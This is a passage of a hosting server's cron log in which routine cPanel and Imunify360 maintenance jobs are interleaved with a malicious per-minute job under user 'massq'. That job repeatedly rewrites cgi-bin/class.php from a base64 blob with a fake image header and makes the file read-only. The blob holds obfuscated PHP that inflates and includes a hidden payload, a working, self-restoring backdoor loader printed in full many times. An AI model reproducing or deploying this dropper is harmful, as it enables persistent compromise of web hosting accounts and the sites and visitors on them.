base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:25:01 server CROND[31500]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:25:01 server CROND[31503]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  6 04:25:01 server CROND[31506]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:25:01 server CROND[31502]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 04:25:01 server CROND[31507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:25:01 server CROND[31504]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 04:25:01 server CROND[31505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:25:01 server CROND[31508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:26:01 server CROND[32333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:26:01 server CROND[32334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:26:01 server CROND[32336]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:27:01 server CROND[32703]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 04:27:01 server CROND[32704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:27:01 server CROND[32705]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:27:01 server CROND[32706]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:28:01 server CROND[627]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:28:01 server CROND[628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:28:01 server CROND[630]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:29:01 server CROND[1024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:29:01 server CROND[1025]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:29:01 server CROND[1026]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:30:01 server CROND[1608]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 04:30:01 server CROND[1607]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 04:30:01 server CROND[1624]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  6 04:30:01 server CROND[1625]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 04:30:01 server CROND[1633]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:30:01 server CROND[1637]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:30:01 server CROND[1639]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:30:01 server CROND[1640]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:30:01 server CROND[1641]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  6 04:30:01 server CROND[1632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:31:01 server CROND[2507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:31:01 server CROND[2508]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:31:01 server CROND[2509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:32:01 server CROND[2916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:32:01 server CROND[2917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:32:01 server CROND[2918]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:33:01 server CROND[3314]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:33:01 server CROND[3315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:33:01 server CROND[3316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:34:01 server CROND[3748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:34:01 server CROND[3750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:34:01 server CROND[3749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:35:01 server CROND[4240]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 04:35:01 server CROND[4242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 04:35:01 server CROND[4244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:35:01 server CROND[4248]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 04:35:01 server CROND[4245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 04:35:01 server CROND[4246]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 04:35:01 server CROND[4250]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 04:35:01 server CROND[4243]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 04:35:01 server CROND[4247]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 04:36:01 server CROND[5107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 04:36:01 server CROND[5108]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2K